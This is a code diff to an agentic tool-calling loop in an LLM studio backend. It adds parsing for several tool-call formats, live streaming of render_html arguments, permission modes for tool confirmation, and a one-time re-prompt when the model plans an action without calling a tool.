+    """True when ``text`` opens with an ENABLED markerless bare-JSON call; an ordinary JSON answer returns False."""
+    probe = strip_llama3_leading_sentinels(text.lstrip())
+    if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)):
+        return False
+    return strip_leading_bare_json_call(probe, enabled_tool_names) != probe
+
+
 _FUNCTION_SIGNAL_RE = re.compile(r"<function=([\w-]+)>")
 _TOOL_CALL_NAME_RE = re.compile(r'"name"\s*:\s*"([\w-]+)"')
+# Mistral name/v11 and rehearsal forms, aligned with the parser so the provisional
+# render-html card fires for bracket-tag serializations too.
+_MISTRAL_RENDER_NAME_RE = re.compile(
+    r"\[TOOL_CALLS\]\s*([\w-]+)(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*(?=\{)"
+)
+_REHEARSAL_RENDER_NAME_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*(?=\{)")
 
 
 def _detect_render_html_tool_start(content: str) -> bool:
-    """Return True when the first drained tool call is clearly render_html."""
-    function_match = _FUNCTION_SIGNAL_RE.search(content)
-    tool_call_index = content.find("<tool_call>")
-    if not function_match and tool_call_index < 0:
+    """Return True when the FIRST tool call in ``content`` is clearly render_html.
+
+    Covers every serialization the loop executes (XML ``<function=>`` / ``<tool_call>``,
+    Mistral ``[TOOL_CALLS]``, rehearsal ``NAME[ARGS]``); the earliest marker wins so a
+    render_html marker inside another call's argument is treated as data. Markers inside
+    a ``<think>`` / ``[THINK]`` block are dropped since the parser skips them."""
+    think_spans = _think_spans_outside_tool_markup(content)
+    _think_starts = [s for s, _e in think_spans]
+
+    def _in_think(pos: int) -> bool:
+        if not think_spans:
+            return False
+        i = bisect.bisect_right(_think_starts, pos) - 1
+        return i >= 0 and think_spans[i][0] <= pos < think_spans[i][1]
+
+    def _first_outside(start: int, finder) -> int:
+        # First occurrence at/after ``start`` that is not inside a think span.
+        pos = finder(start)
+        while pos >= 0 and _in_think(pos):
+            pos = finder(pos + 1)
+        return pos
+
+    candidates: list[tuple[int, str]] = []
+    for fm in _FUNCTION_SIGNAL_RE.finditer(content):
+        if not _in_think(fm.start()):
+            candidates.append((fm.start(), fm.group(1)))
+            break
+    tc = _first_outside(0, lambda i: content.find("<tool_call>", i))
+    if tc >= 0:
+        nm = _TOOL_CALL_NAME_RE.search(content[tc:])
+        candidates.append((tc, nm.group(1) if nm else ""))
+    mt = _first_outside(0, lambda i: content.find("[TOOL_CALLS]", i))
+    if mt >= 0:
+        mm = _MISTRAL_RENDER_NAME_RE.match(content, mt)
+        if mm:
+            candidates.append((mt, mm.group(1)))
+        else:
+            # Array shape: a bare ``"name"`` search can latch onto an argument key, so resolve the
+            # first call through the parser (it reads top-level names).
+            arr_calls = parse_tool_calls_from_text(content[mt:])
+            if arr_calls:
+                candidates.append((mt, (arr_calls[0].get("function") or {}).get("name") or ""))
+    for rm in _REHEARSAL_RENDER_NAME_RE.finditer(content):
+        if not _in_think(rm.start(1)):
+            candidates.append((rm.start(1), rm.group(1)))
+            break
+
+    if not candidates:
         return False
-
-    if function_match and (tool_call_index < 0 or function_match.start() < tool_call_index):
-        return function_match.group(1) == "render_html"
-
-    if tool_call_index >= 0:
-        name_match = _TOOL_CALL_NAME_RE.search(content[tool_call_index:])
-        return bool(name_match and name_match.group(1) == "render_html")
-
-    return False
+    _pos, name = min(candidates, key = lambda c: c[0])
+    return name == "render_html"
 
 
 def _coerce_arguments_with_provenance(
@@ -131,6 +445,22 @@ def _tool_event_provenance(**flags: object) -> dict[str, object]:
     return tool_event_provenance(**flags)
 
 
+def _accepts_output_callback(func: Callable[..., str]) -> bool:
+    """Whether an injectable ``execute_tool`` supports ``output_callback``.
+
+    The loop's ``execute_tool`` is a parameter (tests inject fakes), so forward
+    the live-output kwarg only when the callable declares it or takes ``**kwargs``.
+    """
+    try:
+        sig = inspect.signature(func)
+    except (TypeError, ValueError):
+        return False
+    params = sig.parameters
+    if "output_callback" in params:
+        return True
+    return any(p.kind is inspect.Parameter.VAR_KEYWORD for p in params.values())
+
+
 def _call_single_turn(single_turn, conversation: list, active_tools: list[dict]):
     """Call a single-turn generator with active tool schemas when supported."""
     try:
@@ -149,12 +479,16 @@ def run_safetensors_tool_loop(
     execute_tool: Callable[..., str],
     cancel_event: Optional[threading.Event] = None,
     auto_heal_tool_calls: bool = True,
+    nudge_tool_calls: Optional[bool] = None,
     max_tool_iterations: int = 25,
     tool_call_timeout: int = 300,
     session_id: Optional[str] = None,
+    thread_id: Optional[str] = None,
     rag_scope: Optional[dict] = None,
     confirm_tool_calls: bool = False,
     bypass_permissions: bool = False,
+    permission_mode: Optional[str] = None,
+    reasoning_prefilled: bool = False,
 ) -> Generator[dict, None, None]:
     """Drive an agentic tool loop on top of a cumulative-text generator.
 
@@ -180,16 +514,42 @@ def run_safetensors_tool_loop(
     """
     conversation = list(messages)
 
-    # Forced first-pass RAG (mirrors the GGUF loop) so doc Qs don't lose to web_search.
+    # Normalize the mode (mirrors the GGUF loop): "full" and
+    # bypass_permissions are the same switch; unset/unknown behaves as "ask".
+    # "off" keeps the sandbox but never prompts.
+    if permission_mode == "full":
+        bypass_permissions = True
+    elif bypass_permissions:
+        permission_mode = "full"
+    elif permission_mode not in ("ask", "auto", "off"):
+        permission_mode = "ask"
+
+    # Forced first-pass RAG (mirrors the GGUF loop) so doc Qs don't lose to
+    # web_search. Skip only when a retrieval call would actually prompt (ask
+    # mode); auto never gates the safe search_knowledge_base tool.
     from core.inference.tools import build_rag_autoinject
 
-    _auto = None if confirm_tool_calls else build_rag_autoinject(conversation, rag_scope)
+    # off never prompts, so (like auto) it must not lose first-pass retrieval
+    # even if a direct caller passes a stale confirm_tool_calls flag.
+    _skip_autoinject = (
+        confirm_tool_calls and not bypass_permissions and permission_mode not in ("auto", "off")
+    )
+    _auto = None if _skip_autoinject else build_rag_autoinject(conversation, rag_scope)
     if _auto:
         for _ev in _auto["events"]:
             yield _ev
         conversation.extend(_auto["messages"])
+    # Autoinject ran a KB search outside the controller, so it counts as an
+    # executed tool for the plan-without-action gate.
+    rag_autoinjected = bool(_auto)
 
     unrestricted_tools = not tools
+    # Gate telling a genuine NAME[ARGS] rehearsal from inactive-name prose; built from the
+    # ORIGINAL tools list so a spent one-shot still reads as a tool name. None = unrestricted.
+    _enabled_names_gate = None if unrestricted_tools else set(_active_tool_names(tools))
+    # Detection must see the same names as the strip gate (ORIGINAL list, incl. a spent
+    # one-shot), else its repeat is stripped but never drained and the turn ends blank.
+    _detect_tools = [] if unrestricted_tools else list(tools or [])
     tool_controller = ToolLoopController(
         tools = None if unrestricted_tools else tools,
         auto_heal_tool_calls = auto_heal_tool_calls,
@@ -198,6 +558,14 @@ def run_safetensors_tool_loop(
     kb_search_count = 0
     final_attempt_done = False
     next_call_id = 0
+    reprompt_count = 0
+    # A denied tool confirmation must not be answered with a plan-without-action
+    # re-prompt (which would raise the confirmation gate again).
+    tool_denied = False
+    # Real tool-call turns completed. Only turns that actually executed a tool count
+    # against ``max_tool_iterations``; a duplicate/disabled no-op correction turn (and a
+    # plan-without-action re-prompt) must not consume budget, matching the GGUF loop.
+    _executed_tool_iters = 0
 
     def _tool_succeeded(tool_name: str) -> bool:
         key_prefix = f"{tool_name}:"
@@ -215,9 +583,13 @@ def run_safetensors_tool_loop(
     _state_streaming = 1
     _state_draining = 2
 
-    for iteration in range(max_tool_iterations + 1):
+    # Reserve re-prompt slots so they don't eat the caller's tool budget.
+    _extra_iters = MAX_ACT_REPROMPTS if max_tool_iterations > 0 else 0
+    for iteration in range(max_tool_iterations + _extra_iters + 1):
         if cancel_event is not None and cancel_event.is_set():
             return
+        # Whether this turn ran a tool; a no-op-only turn stays False and doesn't consume budget.
+        _turn_executed_real_tool = False
 
         if final_attempt_done:
             active_tools: list[dict] = []
@@ -229,6 +601,8 @@ def run_safetensors_tool_loop(
 
         tool_protocol_active = not final_attempt_done and (unrestricted_tools or bool(active_tools))
         tool_xml_signals = TOOL_XML_SIGNALS if tool_protocol_active else ()
+        # Gate the markerless bare-JSON form on enabled names so an ordinary JSON answer isn't misread as a call.
+        _enabled_tool_names = None if unrestricted_tools else set(_active_tool_names(active_tools))
 
         detect_state = _state_buffering
         content_buffer = ""
@@ -238,12 +612,24 @@ def run_safetensors_tool_loop(
         provisional_render_html_started = False
         provisional_resolved = False
         provisional_render_html_id = f"call_{next_call_id}"
+        # Live-args offset for the provisional render_html card: the drained call
+        # text streams as tool_args so the canvas shows the HTML being written.
+        _live_args_streamed_upto = -1
         # When a human confirmation gate is active the real tool_start is keyed
         # by an approval id and carries awaiting_confirmation, so an early
         # provisional card (keyed by tool_call_id, no approval) would show the
         # tool as "running" before the user has approved it. Suppress the early
         # card in that case and let the gated tool_start be the first signal.
-        _provisional_confirm_gated = bool(confirm_tool_calls) and not bypass_permissions
+        # In auto mode render_html is always safe and never prompts, so keep its
+        # early canvas card (the frontend sends confirm_tool_calls=true alongside
+        # auto); mirrors the GGUF path's _confirm_gated exemption.
+        from core.inference.tools import is_always_safe_tool
+
+        _provisional_confirm_gated = (
+            bool(confirm_tool_calls)
+            and not bypass_permissions
+            and not (permission_mode == "auto" and is_always_safe_tool("render_html"))
+        )
 
         gen = _call_single_turn(single_turn, conversation, active_tools)
         prev_cumulative = ""
@@ -300,21 +686,46 @@ def run_safetensors_tool_loop(
                         "arguments": {},
                         "provenance": _tool_event_provenance(provisional = True),
                     }
+                    # Backlog first: everything drained so far.
+                    yield {
+                        "type": "tool_args",
+                        "tool_call_id": provisional_render_html_id,
+                        "tool_name": "render_html",
+                        "text": content_accum,
+                    }
+                    _live_args_streamed_upto = len(content_accum)
+                elif (
+                    provisional_render_html_started
+                    and not provisional_resolved
+                    and _live_args_streamed_upto >= 0
+                    and len(content_accum) > _live_args_streamed_upto
+                ):
+                    # Still writing the call: stream the fragment so the canvas
+                    # renders live. Display only; content_accum still feeds the
+                    # stream-end parser verbatim.
+                    yield {
+                        "type": "tool_args",
+                        "tool_call_id": provisional_render_html_id,
+                        "tool_name": "render_html",
+                        "text": content_accum[_live_args_streamed_upto:],
+                    }
+                    _live_args_streamed_upto = len(content_accum)
                 continue
 
             if detect_state == _state_streaming:
                 candidate = cumulative_display + delta
-                signal_pos = -1
-                for sig in tool_xml_signals:
-                    p = candidate.find(sig)
-                    if p >= 0 and (signal_pos < 0 or p < signal_pos):
-                        signal_pos = p
+                # Earliest genuine boundary: bare [ARGS] in prose is skipped; a real NAME[ARGS] is
+                # pulled back to NAME so the name is not flushed.
+                signal_pos = _earliest_tool_signal(
+                    candidate, tool_xml_signals, _detect_tools, unrestricted = unrestricted_tools
+                )
                 if signal_pos >= 0:
                     before_tool = candidate[:signal_pos]
                     cleaned_before = strip_tool_markup_streaming(
                         before_tool,
                         auto_heal_tool_calls = auto_heal_tool_calls,
                         tool_protocol_active = tool_protocol_active,
+                        enabled_tool_names = _enabled_names_gate,
                     )
                     if len(cleaned_before) > len(last_emitted):
                         last_emitted = cleaned_before
@@ -339,16 +750,33 @@ def run_safetensors_tool_loop(
                             "arguments": {},
                             "provenance": _tool_event_provenance(provisional = True),
                         }
+                        yield {
+                            "type": "tool_args",
+                            "tool_call_id": provisional_render_html_id,
+                            "tool_name": "render_html",
+                            "text": content_accum,
+                        }
+                        _live_args_streamed_upto = len(content_accum)
                     continue
                 cumulative_display = candidate
                 cleaned = strip_tool_markup_streaming(
                     cumulative_display,
                     auto_heal_tool_calls = auto_heal_tool_calls,
                     tool_protocol_active = tool_protocol_active,
+                    enabled_tool_names = _enabled_names_gate,
                 )
-                if len(cleaned) > len(last_emitted):
-                    last_emitted = cleaned
-                    yield {"type": "content", "text": cleaned}
+                # Hold a trailing bare active-tool-name (split rehearsal) until its [ARGS] arrives;
+                # released by later prose or the end-of-stream flush.
+                if tool_protocol_active:
+                    _hold = _held_rehearsal_tail_len(
+                        cleaned, _detect_tools, unrestricted = unrestricted_tools
+                    )
+                    emit = cleaned[: len(cleaned) - _hold] if _hold else cleaned
+                else:
+                    emit = cleaned
+                if len(emit) > len(last_emitted):
+                    last_emitted = emit
+                    yield {"type": "content", "text": emit}
                 continue
 
             # BUFFERING: hold until we know it is not a tool call.
@@ -366,6 +794,92 @@ def run_safetensors_tool_loop(
                 if sig.startswith(stripped):
                     is_prefix = True
                     break
+                # Bracket-tag forms arrive mid-buffer, so substring-check too (mirrors GGUF); [ARGS]
+                # counts only with an active NAME so prose is not drained into a no-op.
+                if sig == "[ARGS]":
+                    if (
+                        _earliest_tool_signal(
+                            stripped,
+                            ("[ARGS]",),
+                            _detect_tools,
+                            unrestricted = unrestricted_tools,
+                        )
+                        >= 0
+                    ):
+                        is_match = True
+                        break
+                elif sig.startswith("[") and sig in stripped:
+                    is_match = True
+                    break
+
+            # Split rehearsal: hold the bare name until its [ARGS] arrives and matches above.
+            is_rehearsal_prefix = False
+            if (
+                not is_match
+                and not is_prefix
+                and tool_protocol_active
+                and _is_rehearsal_prefix(stripped, _detect_tools, unrestricted = unrestricted_tools)
+            ):
+                is_prefix = True
+                is_rehearsal_prefix = True
+
+            # Llama-3.2 ``custom_tools`` emits a bare ``{"name":..,"parameters":..}`` with no XML
+            # signal. Hold a leading ``{`` (after any sentinel) until it closes: drain if it parses
+            # as a call, else stream as content. Non-call text is always recovered downstream.
+            bare_probe = strip_llama3_leading_sentinels(stripped)
+            if (
+                not is_match
+                and not is_prefix
+                and tool_protocol_active
+                and bare_probe.startswith("{")
+            ):
+                if _balanced_brace_end(bare_probe, 0) is None:
+                    if len(stripped) < _MAX_BARE_JSON_BUFFER:
+                        continue  # object still open -- keep buffering
+                    elif _looks_like_enabled_bare_json(bare_probe, _enabled_tool_names):
+                        # Oversized still-open ENABLED-tool call: stop holding (memory bound) but
+                        # DRAIN instead of leaking the raw prefix; a giant ordinary JSON answer still streams.
+                        detect_state = _state_draining
+                        continue
+                elif parse_tool_calls_from_text(
+                    content_buffer,
+                    id_offset = next_call_id,
+                    allow_incomplete = auto_heal_tool_calls,
+                    enabled_tool_names = _enabled_tool_names,
+                ):
+                    # Closed object that parses as a bare-JSON call -- drain silently.
+                    detect_state = _state_draining
+                    continue
+                # Closed non-call object (or oversized non-call) -- stream as text.
+
+            # Gemma wrapper-less ``call:NAME{...}`` has no tool_xml_signals entry:
+            # buffer it here or it streams raw until the end-of-turn safety net.
+            # ``(?<!\w)`` keeps "recall:" out; the prefix regex is whitespace-tolerant.
+            if (
+                not is_match
+                and not is_prefix
+                and tool_protocol_active
+                and (
+                    "call:".startswith(stripped)
+                    or _GEMMA_BARE_TC_PREFIX_RE.match(stripped) is not None
+                    or _GEMMA_BARE_TC_RE.match(stripped) is not None
+                )
+            ):
+                if _GEMMA_BARE_TC_RE.match(stripped):
+                    detect_state = _state_draining
+                    continue
+                # A ``call:`` / ``call:partial_name`` prefix with no ``{`` yet: keep
+                # buffering the variable-length name instead of leaking ``call:longname``.
+                # Names can exceed 32 chars (OpenAI 64, MCP longer), so a fixed cap would
+                # flush real calls raw. The prefix regex self-terminates on ordinary prose
+                # and the ``{`` drains above; bound generously like the bare-JSON path.
+                if _GEMMA_BARE_TC_PREFIX_RE.match(stripped) is not None:
+                    if len(stripped) < _MAX_BARE_JSON_BUFFER:
+                        continue
+                    detect_state = _state_draining
+                    continue
+                if len(stripped) < _MAX_BUFFER_CHARS:
+                    continue  # bare "call:" prefix still forming
 
             if is_match:
                 # Tool signal -- flush any visible prefix before DRAINING
@@ -375,6 +889,7 @@ def run_safetensors_tool_loop(
                     cumulative_display,
                     auto_heal_tool_calls = auto_heal_tool_calls,
                     tool_protocol_active = tool_protocol_active,
+                    enabled_tool_names = _enabled_names_gate,
                 )
                 if len(cleaned) > len(last_emitted):
                     last_emitted = cleaned
@@ -398,7 +913,15 @@ def run_safetensors_tool_loop(
                         "arguments": {},
                         "provenance": _tool_event_provenance(provisional = True),
                     }
-            elif is_prefix and len(stripped) < _MAX_BUFFER_CHARS:
+                    yield {
+                        "type": "tool_args",
+                        "tool_call_id": provisional_render_html_id,
+                        "tool_name": "render_html",
+                        "text": content_accum,
+                    }
+                    _live_args_streamed_upto = len(content_accum)
+            elif is_prefix and (is_rehearsal_prefix or len(stripped) < _MAX_BUFFER_CHARS):
+                # A rehearsal prefix is self-bounded; the buffer cap must not cut long MCP names short.
                 continue
             else:
                 detect_state = _state_streaming
@@ -407,57 +930,124 @@ def run_safetensors_tool_loop(
                     cumulative_display,
                     auto_heal_tool_calls = auto_heal_tool_calls,
                     tool_protocol_active = tool_protocol_active,
+                    enabled_tool_names = _enabled_names_gate,
                 )
-                if len(cleaned) > len(last_emitted):
-                    last_emitted = cleaned
-                    yield {"type": "content", "text": cleaned}
+                # Same trailing-name hold as STREAMING for this first flush out of BUFFERING.
+                if tool_protocol_active:
+                    _hold = _held_rehearsal_tail_len(
+                        cleaned, _detect_tools, unrestricted = unrestricted_tools
+                    )
+                    emit = cleaned[: len(cleaned) - _hold] if _hold else cleaned
+                else:
+                    emit = cleaned
+                if len(emit) > len(last_emitted):
+                    last_emitted = emit
+                    yield {"type": "content", "text": emit}
 
         # Stream finished -- resolve what we collected.
         if cancel_event is not None and cancel_event.is_set():
             return
 
         if detect_state == _state_buffering:
-            # Buffer never resolved -- tool XML or plain content?
+            # Buffer never resolved: [ARGS] is name-gated so a prose answer with a literal
+            # ``foo[ARGS]{...}`` is not parsed.
             stripped = content_buffer.lstrip()
+            _bare_eos = strip_llama3_leading_sentinels(stripped)
             if (
                 stripped
                 and tool_protocol_active
-                and any(sig in stripped for sig in tool_xml_signals)
+                and _has_genuine_tool_signal(
+                    stripped,
+                    tool_xml_signals,
+                    _detect_tools,
+                    unrestricted = unrestricted_tools,
+                )
             ):
                 detect_state = _state_draining
+            elif tool_protocol_active and _looks_like_enabled_bare_json(
+                _bare_eos, _enabled_tool_names
+            ):
+                # A held bare-JSON ENABLED-tool fragment has no XML signal; DRAIN it (an ordinary
+                # JSON answer falls through to the else and streams as content, GGUF parity).
+                detect_state = _state_draining
             else:
+                # Drain and fall through to STREAMING so the intent re-prompt + safety-net parser
+                # still fire on short emissions like "Let me search." that never exit BUFFERING.
                 if content_buffer:
                     cumulative_display += content_buffer
-                    yield {
-                        "type": "content",
-                        "text": _strip_tool_markup_final(
-                            cumulative_display,
-                            auto_heal_tool_calls = auto_heal_tool_calls,
-                            tool_protocol_active = False,
-                        ),
-                    }
-                yield {"type": "status", "text": ""}
-                return
+                    cleaned = strip_tool_markup(
+                        cumulative_display, final = True, enabled_tool_names = _enabled_tool_names
+                    )
+                    if len(cleaned) > len(last_emitted):
+                        last_emitted = cleaned
+                        yield {"type": "content", "text": cleaned}
+                detect_state = _state_streaming
 
         if detect_state == _state_streaming:
-            # No tool detected mid-stream -- check for late tool XML.
-            safety_tc = None
-            saw_tool_signal = tool_protocol_active and any(
-                sig in content_accum for sig in tool_xml_signals
+            # Run the parser even with no XML signal (the Llama-3.2 bare-JSON form carries none); it's
+            # strict so plain answers stay untouched. Mirrors GGUF.
+            safety_tc = parse_tool_calls_from_text(
+                content_accum,
+                id_offset = next_call_id,
+                allow_incomplete = auto_heal_tool_calls,
+                enabled_tool_names = _enabled_tool_names,
             )
-            if saw_tool_signal:
-                safety_tc = parse_tool_calls_from_text(
-                    content_accum,
-                    id_offset = next_call_id,
-                    allow_incomplete = auto_heal_tool_calls,
-                )
             if not safety_tc:
-                # Final answer: if a literal tool marker in prose was stripped
-                # during streaming but did not parse as a real call, restore the
-                # raw cumulative text for core callers. Route-level cleanup can
-                # still apply the Auto-Heal display policy.
-                if saw_tool_signal and content_accum:
+                # Re-prompt once on plan-without-action, before any tool runs
+                # (GGUF loop parity). The retry is gated on nudge_tool_calls so
+                # Unsloth callers (which send True) always nudge, while API callers
+                # who omit the flag keep today's no-reprompt behavior (opt-in).
+                intent_text = _reprompt_intent_text(
+                    content_accum,
+                    reasoning_prefilled = reasoning_prefilled,
+                )
+                if (
+                    auto_heal_tool_calls
+                    and nudge_tool_calls
+                    and active_tools
+                    and reprompt_count < MAX_ACT_REPROMPTS
+                    and not rag_autoinjected
+                    and not tool_denied
+                    and not any(record.executed for record in tool_controller.history)
+                    and is_short_intent_without_action(intent_text)
+                ):
+                    reprompt_count += 1
+                    logger.info(
+                        "Safetensors re-prompt %d/%d: model responded without "
+                        "calling tools (%d chars)",
+                        reprompt_count,
+                        MAX_ACT_REPROMPTS,
+                        len(intent_text),
+                    )
+                    conversation.append({"role": "assistant", "content": intent_text})
+                    tool_hint = " or ".join(_active_tool_names(active_tools)) or "an available tool"
+                    conversation.append(
+                        {
+                            "role": "user",
+                            "content": reprompt_to_act_message(tool_hint),
+                        }
+                    )
+                    # Empty status clears the badge and resets the route's
+                    # per-turn text cursor before the re-prompted turn streams.
+                    yield {"type": "status", "text": ""}
+                    continue
+
+                # Final answer. If a literal tool marker in prose was buffered but
+                # never parsed as a call, restore the raw text so the prose surfaces
+                # in full; route-level cleanup still applies the Auto-Heal policy.
+                if content_accum and any(sig in content_accum for sig in tool_xml_signals):
                     yield {"type": "content", "text": content_accum}
+                else:
+                    # Turn ended as a plain answer (no [ARGS] followed): the held rehearsal tail is real
+                    # prose, release it.
+                    final_clean = strip_tool_markup_streaming(
+                        cumulative_display,
+                        auto_heal_tool_calls = auto_heal_tool_calls,
+                        tool_protocol_active = tool_protocol_active,
+                        enabled_tool_names = _enabled_names_gate,
+                    )
+                    if len(final_clean) > len(last_emitted):
+                        yield {"type": "content", "text": final_clean}
                 yield {"type": "status", "text": ""}
                 return
             tool_calls = safety_tc
@@ -465,31 +1055,41 @@ def run_safetensors_tool_loop(
                 content_accum,
                 auto_heal_tool_calls = auto_heal_tool_calls,
                 tool_protocol_active = True,
+                enabled_tool_names = _enabled_names_gate,
             )
             logger.info(
                 "Safetensors safety net: parsed %d tool call(s) from streamed content",
                 len(tool_calls),
             )
         else:
-            # DRAINING: parse tool calls out of full content.
+            # DRAINING: parse tool calls out of full content. Gate the bare rehearsal on the
+            # ORIGINAL tool list (``_enabled_names_gate``), the same names detection/strip used to
+            # drain here: a spent one-shot (render_html) is off the active list but its re-emitted
+            # ``render_html[ARGS]{..}`` must still parse so it routes to the repeat no-op instead of
+            # being dropped into a blank continuation.
             tool_calls = parse_tool_calls_from_text(
                 content_accum,
                 id_offset = next_call_id,
                 allow_incomplete = auto_heal_tool_calls,
+                enabled_tool_names = _enabled_names_gate,
             )
             if not tool_calls:
                 # Parser found nothing. Auto-Heal-enabled display cleanup
                 # strips unparseable tool XML; disabled Auto-Heal preserves
                 # the raw text so literal/malformed markup stays visible.
                 if content_accum:
-                    yield {
-                        "type": "content",
-                        "text": _strip_tool_markup_final(
-                            content_accum,
-                            auto_heal_tool_calls = auto_heal_tool_calls,
-                            tool_protocol_active = False,
-                        ),
-                    }
+                    _drain_text = _strip_tool_markup_final(
+                        content_accum,
+                        auto_heal_tool_calls = auto_heal_tool_calls,
+                        tool_protocol_active = False,
+                        enabled_tool_names = _enabled_tool_names,
+                    )
+                    # Drained bare-JSON call that didn't parse: with Auto-Heal on, drop the fragment
+                    # (plain JSON answers are left untouched); off keeps it visible per the strict contract.
+                    if tool_protocol_active and auto_heal_tool_calls:
+                        _drain_text = strip_leading_bare_json_call(_drain_text, _enabled_tool_names)
+                    if _drain_text:
+                        yield {"type": "content", "text": _drain_text}
                 if provisional_render_html_started and not provisional_resolved:
                     provisional_resolved = True
                     yield {
@@ -505,10 +1105,14 @@ def run_safetensors_tool_loop(
                 content_accum,
                 auto_heal_tool_calls = auto_heal_tool_calls,
                 tool_protocol_active = True,
+                enabled_tool_names = _enabled_names_gate,
             )
 
         if tool_calls:
             next_call_id += len(tool_calls)
+            # Strip a leading bare-JSON call from the kept content so it isn't replayed as text or
+            # next-turn history (``_strip_tool_markup_final`` only knows XML). No-op for plain JSON answers.
+            content_text = strip_leading_bare_json_call(content_text, _enabled_tool_names)
 
         if final_attempt_done:
             # Final-answer turn re-called a tool -- stop the loop.
@@ -517,8 +1121,32 @@ def run_safetensors_tool_loop(
             yield {"type": "status", "text": ""}
             return
 
+        # Collapse exact-duplicate calls and cap the count (runaway-turn guard).
+        if tool_calls:
+            seen_keys: set = set()
+            deduped: list = []
+            for _tc in tool_calls:
+                _fn = _tc.get("function", {}) or {}
+                _key = (_fn.get("name", ""), str(_fn.get("arguments", "")))
+                if _key in seen_keys:
+                    continue
+                seen_keys.add(_key)
+                deduped.append(_tc)
+                if len(deduped) >= _MAX_TOOL_CALLS_PER_TURN:
+                    break
+            if len(deduped) != len(tool_calls):
+                logger.info(
+                    "Safetensors: collapsed %d repeated tool call(s) in one turn to %d",
+                    len(tool_calls),
+                    len(deduped),
+                )
+            tool_calls = deduped
+
         assistant_msg: dict = {"role": "assistant", "content": content_text}
         assistant_appended = False
+        # Collect no-op nudges and flush them after the batch, so a no-op doesn't
+        # abort it and drop the parallel calls that follow.
+        deferred_noop_msgs: list = []
 
         for tc in tool_calls or []:
             func = tc.get("function", {}) or {}
@@ -547,12 +1175,12 @@ def run_safetensors_tool_loop(
                         "provenance": decision.provenance,
                     }
                 completion = tool_controller.record_noop(decision)
-                conversation.append(completion.model_message())
+                deferred_noop_msgs.append(completion.model_message())
                 logger.info(
                     "Suppressed local safetensors tool call as internal no-op: "
                     f"action={decision.action} tool={decision.tool_name}"
                 )
-                break
+                continue
 
             if not assistant_appended:
                 assistant_msg["tool_calls"] = [decision.as_assistant_tool_call()]
@@ -562,8 +1190,17 @@ def run_safetensors_tool_loop(
                 assistant_msg.setdefault("tool_calls", []).append(decision.as_assistant_tool_call())
 
             # Bypass wins over the confirm gate at the loop level too, so a
-            # direct internal caller passing both flags never prompts.
-            needs_confirm = bool(confirm_tool_calls) and not bypass_permissions
+            # direct internal caller passing both flags never prompts. In
+            # "auto" mode only calls detected as potentially unsafe pause.
+            # "off" never prompts (sandbox stays on).
+            needs_confirm = (
+                bool(confirm_tool_calls) and not bypass_permissions and permission_mode != "off"
+            )
+            if needs_confirm and permission_mode == "auto":
+                from core.inference.tools import is_potentially_unsafe_tool_call
+                needs_confirm = is_potentially_unsafe_tool_call(
+                    decision.tool_name, decision.arguments
+                )
             approval_id = new_approval_id() if needs_confirm else ""
             decision_slot = begin_tool_decision(session_id, approval_id) if needs_confirm else None
             start_event = decision.tool_start_event()
@@ -593,6 +1230,7 @@ def run_safetensors_tool_loop(
                         "result": TOOL_REJECTED_MESSAGE,
                         "provenance": decision.provenance,
                     }
+                    tool_denied = True
                     denied_message = {
                         "role": "tool",
                         "name": decision.tool_name,
@@ -615,16 +1253,30 @@ def run_safetensors_tool_loop(
             ):
                 result = RAG_SEARCH_CAP_NUDGE
             else:
-                try:
-                    result = execute_tool(
-                        decision.tool_name,
-                        decision.arguments,
+                # Execute in a worker thread so live stdout chunks and heartbeats
+                # stream while the tool blocks (the SSE route turns heartbeats into
+                # keepalives). execute_tool is injectable; pass output_callback
+                # only when it accepts it.
+                def _invoke_tool(_output_callback, _decision = decision):
+                    kwargs = dict(
                         cancel_event = cancel_event,
                         timeout = eff_timeout,
                         session_id = session_id,
+                        thread_id = thread_id,
                         rag_scope = rag_scope,
                         disable_sandbox = bypass_permissions,
                     )
+                    if _accepts_output_callback(execute_tool):
+                        kwargs["output_callback"] = _output_callback
+                    return execute_tool(_decision.tool_name, _decision.arguments, **kwargs)
+
+                try:
+                    result = yield from stream_tool_execution(
+                        _invoke_tool,
+                        tool_name = decision.tool_name,
+                        tool_call_id = decision.tool_call_id,
+                        cancel_event = cancel_event,
+                    )
                 except Exception as exc:
                     logger.exception("Tool %s raised: %s", decision.tool_name, exc)
                     result = f"Error: tool raised an exception: {exc}"
@@ -634,9 +1286,13 @@ def run_safetensors_tool_loop(
             completion = tool_controller.record_result(decision, result)
             if provisional_match:
                 provisional_resolved = True
+            # A tool ran this turn, so it counts against the caller's budget.
+            _turn_executed_real_tool = True
             yield completion.tool_end_event()
             conversation.append(completion.tool_message())
 
+        append_deferred_nudges(conversation, deferred_noop_msgs)
+
         # Clear the status badge before the next turn.
         yield {"type": "status", "text": ""}
 
@@ -646,7 +1302,11 @@ def run_safetensors_tool_loop(
         if not unrestricted_tools and not tool_controller.active_tools():
             final_attempt_done = True
             continue
-        if iteration + 1 >= max_tool_iterations and not final_attempt_done:
+        # Count only turns that executed a tool against the cap; a no-op correction turn doesn't
+        # consume budget so the model gets its nudge and another tool-enabled turn (GGUF parity).
+        if _turn_executed_real_tool:
+            _executed_tool_iters += 1
+        if _executed_tool_iters >= max_tool_iterations and not final_attempt_done:
             # Budget exhausted; nudge a final plain answer.
             final_attempt_done = True
             conversation.append({"role": "user", "content": BUDGET_EXHAUSTED_NUDGE})
diff --git a/studio/backend/core/inference/sandbox_site/__init__.py b/studio/backend/core/inference/sandbox_site/__init__.py
new file mode 100644
index 0000000000..eea99aa526
--- /dev/null
+++ b/studio/backend/core/inference/sandbox_site/__init__.py
@@ -0,0 +1,6 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+# Package marker only, so wheel builds ship this directory. It goes on the
+# sandbox PYTHONPATH so site machinery imports the sibling ``sitecustomize`` at
+# startup; nothing in the backend imports it directly.
diff --git a/studio/backend/core/inference/sandbox_site/sitecustomize.py b/studio/backend/core/inference/sandbox_site/sitecustomize.py
new file mode 100644
index 0000000000..244fa95145
--- /dev/null
+++ b/studio/backend/core/inference/sandbox_site/sitecustomize.py
@@ -0,0 +1,313 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Sandbox-side compatibility shim for ChatGPT code-interpreter paths.
